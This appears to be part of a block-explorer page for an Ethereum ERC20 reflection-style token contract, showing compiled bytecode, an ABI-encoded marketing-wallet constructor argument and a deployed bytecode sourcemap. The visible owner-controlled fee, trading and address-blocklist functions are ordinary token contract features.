9081526006602052604090205460ff1615611dd557601080546001600160a01b0319166001600160a01b0385161790555b5f611de08383611b4e565b6001600160a01b0386165f9081526007602052604090205490915060ff168015611e2257506001600160a01b0384165f9081526007602052604090205460ff16155b15611e67576001600160a01b0385165f90815260046020526040902054611e4a90849061297c565b6001600160a01b0386165f90815260046020526040902055611fa4565b6001600160a01b0385165f9081526007602052604090205460ff16158015611ea657506001600160a01b0384165f9081526007602052604090205460ff165b15611eef5760c08101516001600160a01b0385165f90815260046020526040902054611ed291906129a3565b6001600160a01b0385165f90815260046020526040902055611fa4565b6001600160a01b0385165f9081526007602052604090205460ff168015611f2d57506001600160a01b0384165f9081526007602052604090205460ff165b15611fa4576001600160a01b0385165f90815260046020526040902054611f5590849061297c565b6001600160a01b038087165f908152600460205260408082209390935560c084015191871681529190912054611f8b91906129a3565b6001600160a01b0385165f908152600460205260409020555b80516001600160a01b0386165f90815260036020526040902054611fc8919061297c565b6001600160a01b038087165f9081526003602090815260408083209490945584015191871681529190912054611ffe91906129a3565b6001600160a01b0385165f9081526003602052604090205581156120c45761202e81604001518260e0015161239d565b61204181606001518261010001516123cb565b6120548160800151826101200151612466565b6120678160a00151826101400151612493565b306001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8361012001518461010001516120b291906129a3565b60405190815260200160405180910390a35b836001600160a01b0316856001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360c0015160405161210d91815260200190565b60405180910390a36121206001856124d2565b5061212a8561125a565b5f0361213d5761213b600186611b3a565b505b5050505050565b5f818152600183016020526040812054801561221e575f61216660018361297c565b85549091505f906121799060019061297c565b90508181146121d8575f865f01828154811061219757612197612954565b905f5260205f200154905080875f0184815481106121b7576121b7612954565b5f918252602080832090910192909255918252600188019052604090208390555b85548690806121e9576121e961298f565b600190038181905f5260205f20015f90559055856001015f8681526020019081526020015f205f905560019350505050610a35565b5f915050610a35565b61222f6126a2565b816122405760c08101839052610a35565b601f5460649061225090856129b6565b61225a91906129cd565b60e082015260205460649061226f90856129b6565b61227991906129cd565b61010082015260215460649061228f90856129b6565b61229991906129cd565b6101208201526022546064906122af90856129b6565b6122b991906129cd565b610140820181905261012082015161010083015160e08401516122dc908761297c565b6122e6919061297c565b6122f0919061297c565b6122fa919061297c565b60c082015292915050565b5f805f6123106124e6565b909250905061231f81836129cd565b9250505090565b506001825f808080808761234757508493505f925082915081905080612390565b5050505060e086015161010087015161012088015161014089015180828461236f878a61297c565b612379919061297c565b612383919061297c565b61238d919061297c565b94505b9499939850945094509450565b81600d546123ab919061297c565b600d55601180548291905f906123c29084906129a3565b90915550505050565b8060155f015f8282546123de91906129a3565b9091555050601280548291905f906123f79084906129a3565b9091555050305f908152600360205260409020546124169083906129a3565b305f9081526003602090815260408083209390935560079052205460ff1615610d3657305f908152600460205260409020546124539082906129a3565b305f908152600460205260409020555050565b8060156001015f82825461247a91906129a3565b9091555050601380548291905f906123f79084906129a3565b8060116003015f8282546124a791906129a3565b9091555050600c546124ba90829061297c565b600c55600d546124cb90839061297c565b600d555050565b5f610aa7836001600160a01b038416612656565b600d54600c545f918291825b600b54811015612625578260035f600b848154811061251357612513612954565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054118061257b57508160045f600b848154811061255557612555612954565b5f9182526020808320909101546001600160a01b03168352820192909252604001902054115b1561259157600d54600c54945094505050509091565b60035f600b83815481106125a7576125a7612954565b5f9182526020808320909101546001600160a01b031683528201929092526040019020546125d5908461297c565b925060045f600b83815481106125ed576125ed612954565b5f9182526020808320909101546001600160a01b0316835282019290925260400190205461261b908361297c565b91506001016124f2565b50600c54600d5461263691906129cd565b82101561264d57600d54600c549350935050509091565b90939092509050565b5f81815260018301602052604081205461269b57508154600181810184555f848152602080822090930184905584548482528286019093526040902091909155610a35565b505f610a35565b6040518061016001604052805f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81526020015f81525090565b602081525f82518060208401528060208501604085015e5f604082850101526040601f19601f83011684010191505092915050565b80356001600160a01b038116811461273c575f80fd5b919050565b5f8060408385031215612752575f80fd5b61275b83612726565b946020939093013593505050565b5f60208284031215612779575f80fd5b610aa782612726565b5f805f60608486031215612794575f80fd5b61279d84612726565b92506127ab60208501612726565b929592945050506040919091013590565b8035801515811461273c575f80fd5b5f602082840312156127db575f80fd5b610aa7826127bc565b5f602082840312156127f4575f80fd5b5035919050565b5f806040838503121561280c575f80fd5b8235915061281c602084016127bc565b90509250929050565b5f8060208385031215612836575f80fd5b823567ffffffffffffffff81111561284c575f80fd5b8301601f8101851361285c575f80fd5b803567ffffffffffffffff811115612872575f80fd5b8560208260051b8401011115612886575f80fd5b6020919091019590945092505050565b5f805f80608085870312156128a9575f80fd5b5050823594602084013594506040840135936060013592509050565b5f805f606084860312156128d7575f80fd5b83359250602084013591506128ee60408501612726565b90509250925092565b5f8060408385031215612908575f80fd5b61291183612726565b915061281c60208401612726565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b81810381811115610a3557610a35612968565b634e487b7160e01b5f52603160045260245ffd5b80820180821115610a3557610a35612968565b8082028115828204841417610a3557610a35612968565b5f826129e757634e487b7160e01b5f52601260045260245ffd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa264697066735822122031127d185a617c4e45bd372350e3c652c461a85e28441d15ea79b162911748a964736f6c634300081a0033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000a2c00ac832708b57a2bdcf8f17788fad00fa28a2

-----Decoded View---------------
Arg [0] : marketWallet_ (address): 0xa2C00ac832708B57A2bDCF8F17788faD00fa28a2

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 000000000000000000000000a2c00ac832708b57a2bdcf8f17788fad00fa28a2


Deployed Bytecode Sourcemap

11666:31000:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;28387:83;;;;;;;;;;-1:-1:-1;28457:5:0;;;;;;;;;;;-1:-1:-1;;;28457:5:0;;;;28387:83;;;;28457:5;28387:83;:::i;:::-;;;;;;;;29757:193;;;;;;;;;;-1:-1:-1;29757:193:0;;;;;:::i;:::-;;:::i;:::-;;;1085:14:1;;1078:22;1060:41;;1048:2;1033:18;29757:193:0;920:187:1;28664:95:0;;;;;;;;;;-1:-1:-1;28744:7:0;;28664:95;;;1258:25:1;;;1246:2;1231:18;28664:95:0;1112:177:1;12306:46:0;;;;;;;;;;-1:-1:-1;12306:46:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;29958:455;;;;;;;;;;-1:-1:-1;29958:455:0;;;;;:::i;:::-;;:::i;29462:95::-;;;;;;;;;;-1:-1:-1;29462:95:0;;;;;:::i;:::-;;:::i;:::-;;31759:262;;;;;;;;;;-1:-1:-1;31759:262:0;;;;;:::i;:::-;;:::i;28573:83::-;;;;;;;;;;-1:-1:-1;28573:83:0;;12430:1;2587:36:1;;2575:2;2560:18;28573:83:0;2445:184:1;12732:42:0;;;;;;;;;;;;;;;;28137:112;;;;;;;;;;-1:-1:-1;28137:112:0;;;;;:::i;:::-;;:::i;32796:473::-;;;;;;;;;;-1:-1:-1;32796:473:0;;;;;:::i;:::-;;:::i;32369:419::-;;;;;;;;;;-1:-1:-1;32369:419:0;;;;;:::i;:::-;;:::i;30421:297::-;;;;;;;;;;-1:-1:-1;30421:297:0;;;;;:::i;:::-;;:::i;42283:143::-;;;;;;;;;;;;;:::i;26665:164::-;;;;;;;;;;-1:-1:-1;26665:164:0;;;;;:::i;:::-;-1:-1:-1;;;;;26793:28:0;26761:7;26793:28;;;:20;:28;;;;;;;26665:164;33277:111;;;;;;;;;;-1:-1:-1;33277:111:0;;;;;:::i;:::-;;:::i;31262:489::-;;;;;;;;;;-1:-1:-1;31262:489:0;;;;;:::i;:::-;;:::i;29256:198::-;;;;;;;;;;-1:-1:-1;29256:198:0;;;;;:::i;:::-;;:::i;34073:115::-;;;;;;;;;;-1:-1:-1;34073:115:0;;;;;:::i;:::-;;:::i;14144:40::-;;;;;;;;;;-1:-1:-1;14144:40:0;;;;-1:-1:-1;;;14144:40:0;;;;;;26973:296;;;;;;;;;;-1:-1:-1;26973:296:0;;;;;:::i;:::-;;:::i;32029:332::-;;;;;;;;;;-1:-1:-1;32029:332:0;;;;;:::i;:::-;;:::i;33762:124::-;;;;;;;;;;-1:-1:-1;33762:124:0;;;;;:::i;:::-;-1:-1:-1;;;;;33851:27:0;33827:4;33851:27;;;:18;:27;;;;;;;;;33762:124;28257:122;;;;;;;;;;-1:-1:-1;28257:122:0;;;;;:::i;:::-;;:::i;28767:177::-;;;;;;;;;;-1:-1:-1;28767:177:0;;;;;:::i;:::-;;:::i;13393:104::-;;;;;;;;;;-1:-1:-1;13393:104:0;;;;;;;;;;;;;;;;;;;4371:25:1;;;4427:2;4412:18;;4405:34;;;;4455:18;;;4448:34;4513:2;4498:18;;4491:34;4358:3;4343:19;13393:104:0;4140:391:1;8282:148:0;;;;;;;;;;;;;:::i;13281:103::-;;;;;;;;;;-1:-1:-1;13281:103:0;;;;;;;;;;;;;;;27277:301;;;;;;;;;;-1:-1:-1;27277:301:0;;;;;:::i;:::-;;:::i;31134:120::-;;;;;;;;;;-1:-1:-1;31134:120:0;;;;;:::i;:::-;-1:-1:-1;;;;;31226:20:0;31202:4;31226:20;;;:11;:20;;;;;;;;;31134:120;13241:31;;;;;;;;;;-1:-1:-1;13241:31:0;;;;;;;;;;;;;4710:25:1;;;4766:2;4751:18;;4744:34;;;;4683:18;13241:31:0;4536:248:1;8059:87:0;;;;;;;;;;-1:-1:-1;8105:7:0;8132:6;-1:-1:-1;;;;;8132:6:0;8059:87;;;-1:-1:-1;;;;;4953:32:1;;;4935:51;;4923:2;4908:18;8059:87:0;4789:203:1;12693:32:0;;;;;;;;;;;;;;;;12960:36;;;;;;;;;;-1:-1:-1;12960:36:0;;;;;;;;;;;;;;;27586:543;;;;;;;;;;-1:-1:-1;27586:543:0;;;;;:::i;:::-;;:::i;30726:400::-;;;;;;;;;;-1:-1:-1;30726:400:0;;;;;:::i;:::-;;:::i;12187:55::-;;;;;;;;;;-1:-1:-1;12187:55:0;;;;;:::i;:::-;;;;;;;;;;;;;;28952:202;;;;;;;;;;-1:-1:-1;28952:202:0;;;;;:::i;:::-;;:::i;14043:26::-;;;;;;;;;;-1:-1:-1;14043:26:0;;;;-1:-1:-1;;;14043:26:0;;;;;;33514:240;;;;;;;;;;-1:-1:-1;33514:240:0;;;;;:::i;:::-;;:::i;33894:171::-;;;;;;;;;;-1:-1:-1;33894:171:0;;;;;:::i;:::-;;:::i;29565:184::-;;;;;;;;;;-1:-1:-1;29565:184:0;;;;;:::i;:::-;-1:-1:-1;;;;;29714:18:0;;;29682:7;29714:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;29565:184;29162:86;;;;;;;;;;-1:-1:-1;29162:86:0;;;;;:::i;:::-;;:::i;26837:128::-;;;;;;;;;;-1:-1:-1;26837:128:0;;;;;:::i;:::-;-1:-1:-1;;;;;26930:27:0;26903:7;26930:27;;;:15;:27;;;;;;;26837:128;33396:110;;;;;;;;;;-1:-1:-1;33396:110:0;;;;;:::i;:::-;;:::i;12249:50::-;;;;;;;;;;-1:-1:-1;12249:50:0;;;;;:::i;:::-;;;;;;;;;;;;;;13896:30;;;;;;;;;;-1:-1:-1;13896:30:0;;;;-1:-1:-1;;;;;13896:30:0;;;8438:281;;;;;;;;;;-1:-1:-1;8438:281:0;;;;;:::i;:::-;;:::i;13933:66::-;;;;;;;;;;-1:-1:-1;13933:66:0;;;;-1:-1:-1;;;;;13933:66:0;;;12783:26;;;;;;;;;;-1:-1:-1;12783:26:0;;;;-1:-1:-1;;;;;12783:26:0;;;34196:196;;;;;;;;;;-1:-1:-1;34196:196:0;;;;;:::i;:::-;;:::i;29757:193::-;29859:4;29881:39;3550:10;29904:7;29913:6;29881:8;:39::i;:::-;-1:-1:-1;29938:4:0;29757:193;;;;;:::o;29958:455::-;30090:4;30107:36;30117:6;30125:9;30136:6;30107:9;:36::i;:::-;30154:220;30177:6;3550:10;30225:138;30281:6;30225:138;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;30225:19:0;;;;;;:11;:19;;;;;;;;3550:10;30225:33;;;;;;;;;;:37;:138::i;:::-;30154:8;:220::i;:::-;-1:-1:-1;30392:13:0;;-1:-1:-1;;;30392:13:0;;;;29958:455;;;;;;:::o;29462:95::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;;;;;;;;;29526:13:::1;:23:::0;;;::::1;;-1:-1:-1::0;;;29526:23:0::1;-1:-1:-1::0;;;;29526:23:0;;::::1;::::0;;;::::1;::::0;;29462:95::o;31759:262::-;31853:7;31911;;31900;:18;;31878:110;;;;-1:-1:-1;;;31878:110:0;;6250:2:1;31878:110:0;;;6232:21:1;6289:2;6269:18;;;6262:30;6328:34;6308:18;;;6301:62;-1:-1:-1;;;6379:18:1;;;6372:40;6429:19;;31878:110:0;6048:406:1;31878:110:0;-1:-1:-1;32006:7:0;31759:262::o;28137:112::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;28209:17:::1;:32:::0;28137:112::o;32796:473::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32876:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;32868:56;;;::::0;-1:-1:-1;;;32868:56:0;;6661:2:1;32868:56:0::1;::::0;::::1;6643:21:1::0;6700:2;6680:18;;;6673:30;6739:25;6719:18;;;6712:53;6782:18;;32868:56:0::1;6459:347:1::0;32868:56:0::1;32940:9;32935:327;32959:9;:16:::0;32955:20;::::1;32935:327;;;33017:7;-1:-1:-1::0;;;;;33001:23:0::1;:9;33011:1;33001:12;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;-1:-1:-1;;;;;33001:12:0::1;:23:::0;32997:254:::1;;33060:9;33070:16:::0;;:20:::1;::::0;33089:1:::1;::::0;33070:20:::1;:::i;:::-;33060:31;;;;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;::::1;::::0;33045:9:::1;:12:::0;;-1:-1:-1;;;;;33060:31:0;;::::1;::::0;33055:1;;33045:12;::::1;;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;;;::::1;:46:::0;;-1:-1:-1;;;;;;33045:46:0::1;-1:-1:-1::0;;;;;33045:46:0;;::::1;;::::0;;33110:16;;::::1;::::0;;:7:::1;:16:::0;;;;;;:20;;;33149:11:::1;:20:::0;;;;:28;;-1:-1:-1;;33149:28:0::1;::::0;;33196:9:::1;:15:::0;;;::::1;;;;:::i;:::-;;::::0;;;::::1;::::0;;;;-1:-1:-1;;33196:15:0;;;;;-1:-1:-1;;;;;;33196:15:0::1;::::0;;;;;32935:327:::1;32796:473:::0;:::o;32997:254::-:1;32977:3;;32935:327;;;;32796:473:::0;:::o;32369:419::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32443:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;32438:250;;-1:-1:-1::0;;;;;32480:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;;;:27;;-1:-1:-1;;32480:27:0::1;32503:4;32480:27;::::0;;32526:7:::1;:16:::0;;;;;;:20;32522:117:::1;;-1:-1:-1::0;;;;;32606:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;32586:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;32567:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;32522:117:::1;32653:9;:23:::0;;::::1;::::0;::::1;::::0;;-1:-1:-1;32653:23:0;;;;;::::1;::::0;;-1:-1:-1;;;;;;32653:23:0::1;-1:-1:-1::0;;;;;32653:23:0;::::1;;::::0;;32438:250:::1;-1:-1:-1::0;;;;;32698:27:0;::::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;32698:34:0::1;32728:4;32698:34:::0;;::::1;::::0;;;32745:35:::1;::::0;32717:7;32745:26:::1;:35::i;30421:297::-:0;3550:10;30536:4;30630:25;;;:11;:25;;;;;;;;-1:-1:-1;;;;;30630:34:0;;;;;;;;;;30536:4;;30558:130;;30608:7;;30630:47;;30667:10;;30630:47;:::i;42283:143::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;42381:37:::1;::::0;42349:21:::1;::::0;42389:10:::1;::::0;42381:37;::::1;;;::::0;42349:21;;42331:15:::1;42381:37:::0;42331:15;42381:37;42349:21;42389:10;42381:37;::::1;;;;;;;;;;;;;::::0;::::1;;;;33277:111:::0;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;33346:27:0::1;;::::0;;;:18:::1;:27;::::0;;;;:34;;-1:-1:-1;;33346:34:0::1;33376:4;33346:34;::::0;;33277:111::o;31262:489::-;31380:7;31424;;31413;:18;;31405:62;;;;-1:-1:-1;;;31405:62:0;;7672:2:1;31405:62:0;;;7654:21:1;7711:2;7691:18;;;7684:30;7750:33;7730:18;;;7723:61;7801:18;;31405:62:0;7470:355:1;31405:62:0;31483:17;31478:266;;31517:28;31548:25;31559:7;31568:4;31548:10;:25::i;:::-;31595:9;;-1:-1:-1;31588:16:0;;-1:-1:-1;31588:16:0;31478:266;31637:28;31668:25;31679:7;31688:4;31668:10;:25::i;:::-;31715:17;;;;-1:-1:-1;31708:24:0;;-1:-1:-1;31708:24:0;29256:198;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;29341:9:::1;29336:111;29356:19:::0;;::::1;29336:111;;;29431:4;29397:18;:31;29416:8;;29425:1;29416:11;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;29397:31:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;29397:31:0;:38;;-1:-1:-1;;29397:38:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;29377:3:0::1;29336:111;;;;29256:198:::0;;:::o;34073:115::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;34149:23:0::1;34175:5;34149:23:::0;;;:14:::1;:23;::::0;;;;:31;;-1:-1:-1;;34149:31:0::1;::::0;;34073:115::o;26973:296::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;27130:8:::1;:18:::0;;;;27159;:30;;;;27200:18;:30;27241:13;:20;26973:296::o;32029:332::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;32110:20:0;::::1;;::::0;;;:11:::1;:20;::::0;;;;;::::1;;32109:21;32101:61;;;::::0;-1:-1:-1;;;32101:61:0;;8032:2:1;32101:61:0::1;::::0;::::1;8014:21:1::0;8071:2;8051:18;;;8044:30;8110:29;8090:18;;;8083:57;8157:18;;32101:61:0::1;7830:351:1::0;32101:61:0::1;-1:-1:-1::0;;;;;32177:16:0;::::1;32196:1;32177:16:::0;;;:7:::1;:16;::::0;;;;;:20;32173:109:::1;;-1:-1:-1::0;;;;;32253:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;;32233:37:::1;::::0;:19:::1;:37::i;:::-;-1:-1:-1::0;;;;;32214:16:0;::::1;;::::0;;;:7:::1;:16;::::0;;;;:56;32173:109:::1;-1:-1:-1::0;;;;;32292:20:0::1;;::::0;;;:11:::1;:20;::::0;;;;:27;;-1:-1:-1;;32292:27:0::1;32315:4;32292:27:::0;;::::1;::::0;;;32330:9:::1;:23:::0;;;;::::1;::::0;;;;;;::::1;::::0;;-1:-1:-1;;;;;;32330:23:0::1;::::0;;::::1;::::0;;32029:332::o;28257:122::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;28338:13:::1;:33:::0;28257:122::o;28767:177::-;-1:-1:-1;;;;;28857:20:0;;28833:7;28857:20;;;:11;:20;;;;;;;;28853:49;;;-1:-1:-1;;;;;;28886:16:0;;;;;:7;:16;;;;;;;28767:177::o;28853:49::-;-1:-1:-1;;;;;;28920:16:0;;;;;:7;:16;;;;;;;28767:177::o;8282:148::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;8389:1:::1;8373:6:::0;;8352:40:::1;::::0;-1:-1:-1;;;;;8373:6:0;;::::1;::::0;8352:40:::1;::::0;8389:1;;8352:40:::1;8420:1;8403:19:::0;;-1:-1:-1;;;;;;8403:19:0::1;::::0;;8282:148::o;27277:301::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;27435:9:::1;:19:::0;;;;27465;:31;;;;27507:19;:31;27549:14;:21;27277:301::o;27586:543::-;27731:4;27752:17;27773:1;27752:22;27748:40;;-1:-1:-1;27783:5:0;27776:12;;27748:40;27801:17;27821:35;27839:17;27821:15;:35;:::i;:::-;27801:55;;27886:17;;27873:9;:30;27869:47;;27912:4;27905:11;;;;;27869:47;27933:9;27946:1;27933:14;27929:120;;27968:11;;-1:-1:-1;;;;;27968:21:0;;;:11;;:21;27964:74;;28017:5;28010:12;;;;;27964:74;28076:7;28063:9;:20;28059:37;;28092:4;28085:11;;;;;28059:37;-1:-1:-1;28116:5:0;;27586:543;-1:-1:-1;;;;27586:543:0:o;30726:400::-;30846:4;30868:228;3550:10;30918:7;30940:145;30997:15;30940:145;;;;;;;;;;;;;;;;;3550:10;30940:25;;;;:11;:25;;;;;;;;-1:-1:-1;;;;;30940:34:0;;;;;;;;;;;;:38;:145::i;28952:202::-;29057:4;29079:42;3550:10;29103:9;29114:6;29079:9;:42::i;:::-;-1:-1:-1;;29139:7:0;;-1:-1:-1;;;29139:7:0;;;;;28952:202;-1:-1:-1;28952:202:0:o;33514:240::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;33573:15:::1;:22:::0;;-1:-1:-1;;;;;33573:22:0;;::::1;-1:-1:-1::0;;;;;;33573:22:0;;::::1;::::0;::::1;::::0;;:15:::1;33607:28:::0;;;:11:::1;:28;::::0;;;;;;;:35;;-1:-1:-1;;33607:35:0::1;33573:22:::0;33607:35;;::::1;::::0;;;33668:15;;33653:9:::1;:31:::0;;;;::::1;::::0;;;;;::::1;::::0;;;;::::1;33668:15:::0;;::::1;33653:31;::::0;;;33730:15;;;;::::1;33722:24:::0;;:7:::1;:24:::0;;;;;;33695:7:::1;:24:::0;;;;;;:51;33514:240::o;33894:171::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;33971:21:::1;:32:::0;;;::::1;;-1:-1:-1::0;;;33971:32:0::1;-1:-1:-1::0;;;;33971:32:0;;::::1;;::::0;;34019:38:::1;::::0;::::1;::::0;::::1;::::0;33995:8;1085:14:1;1078:22;1060:41;;1048:2;1033:18;;920:187;34019:38:0::1;;;;;;;;33894:171:::0;:::o;29162:86::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;29223:7:::1;:17:::0;;;::::1;;-1:-1:-1::0;;;29223:17:0::1;-1:-1:-1::0;;;;29223:17:0;;::::1;::::0;;;::::1;::::0;;29162:86::o;33396:110::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;33463:27:0::1;33493:5;33463:27:::0;;;:18:::1;:27;::::0;;;;:35;;-1:-1:-1;;33463:35:0::1;::::0;;33396:110::o;8438:281::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;8541:22:0;::::1;8519:110;;;::::0;-1:-1:-1;;;8519:110:0;;8388:2:1;8519:110:0::1;::::0;::::1;8370:21:1::0;8427:2;8407:18;;;8400:30;8466:34;8446:18;;;8439:62;-1:-1:-1;;;8517:18:1;;;8510:36;8563:19;;8519:110:0::1;8186:402:1::0;8519:110:0::1;8666:6;::::0;;8645:38:::1;::::0;-1:-1:-1;;;;;8645:38:0;;::::1;::::0;8666:6;::::1;::::0;8645:38:::1;::::0;::::1;8694:6;:17:::0;;-1:-1:-1;;;;;;8694:17:0::1;-1:-1:-1::0;;;;;8694:17:0;;;::::1;::::0;;;::::1;::::0;;8438:281::o;34196:196::-;8105:7;8132:6;-1:-1:-1;;;;;8132:6:0;3550:10;8194:23;8186:68;;;;-1:-1:-1;;;8186:68:0;;;;;;;:::i;:::-;34285:9:::1;34280:105;34296:20:::0;;::::1;34280:105;;;34369:4;34338:14;:28;34353:9;;34363:1;34353:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;34338:28:0::1;::::0;;::::1;::::0;::::1;::::0;;;;;;-1:-1:-1;34338:28:0;:35;;-1:-1:-1;;34338:35:0::1;::::0;::::1;;::::0;;;::::1;::::0;;-1:-1:-1;34318:3:0::1;34280:105;;38329:369:::0;-1:-1:-1;;;;;38456:19:0;;38448:68;;;;-1:-1:-1;;;38448:68:0;;8795:2:1;38448:68:0;;;8777:21:1;8834:2;8814:18;;;8807:30;8873:34;8853:18;;;8846:62;-1:-1:-1;;;8924:18:1;;;8917:34;8968:19;;38448:68:0;8593:400:1;38448:68:0;-1:-1:-1;;;;;38535:21:0;;38527:68;;;;-1:-1:-1;;;38527:68:0;;9200:2:1;38527:68:0;;;9182:21:1;9239:2;9219:18;;;9212:30;9278:34;9258:18;;;9251:62;-1:-1:-1;;;9329:18:1;;;9322:32;9371:19;;38527:68:0;8998:398:1;38527:68:0;-1:-1:-1;;;;;38606:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;38658:32;;1258:25:1;;;38658:32:0;;1231:18:1;38658:32:0;;;;;;;38329:369;;;:::o;38706:769::-;-1:-1:-1;;;;;38843:20:0;;;;;;:14;:20;;;;;;;;38842:21;:44;;;;-1:-1:-1;;;;;;38868:18:0;;;;;;:14;:18;;;;;;;;38867:19;38842:44;38820:121;;;;-1:-1:-1;;;38820:121:0;;9603:2:1;38820:121:0;;;9585:21:1;9642:2;9622:18;;;9615:30;9681:29;9661:18;;;9654:57;9728:18;;38820:121:0;9401:351:1;38820:121:0;-1:-1:-1;;;;;38960:18:0;;38952:68;;;;-1:-1:-1;;;38952:68:0;;9959:2:1;38952:68:0;;;9941:21:1;9998:2;9978:18;;;9971:30;10037:34;10017:18;;;10010:62;-1:-1:-1;;;10088:18:1;;;10081:35;10133:19;;38952:68:0;9757:401:1;38952:68:0;-1:-1:-1;;;;;39039:16:0;;39031:64;;;;-1:-1:-1;;;39031:64:0;;10365:2:1;39031:64:0;;;10347:21:1;10404:2;10384:18;;;10377:30;10443:34;10423:18;;;10416:62;-1:-1:-1;;;10494:18:1;;;10487:33;10537:19;;39031:64:0;10163:399:1;39031:64:0;39123:1;39114:6;:10;39106:64;;;;-1:-1:-1;;;39106:64:0;;10769:2:1;39106:64:0;;;10751:21:1;10808:2;10788:18;;;10781:30;10847:34;10827:18;;;10820:62;-1:-1:-1;;;10898:18:1;;;10891:39;10947:19;;39106:64:0;10567:405:1;39106:64:0;39213:15;39223:4;39213:9;:15::i;:::-;39203:6;:25;;39181:123;;;;-1:-1:-1;;;39181:123:0;;11179:2: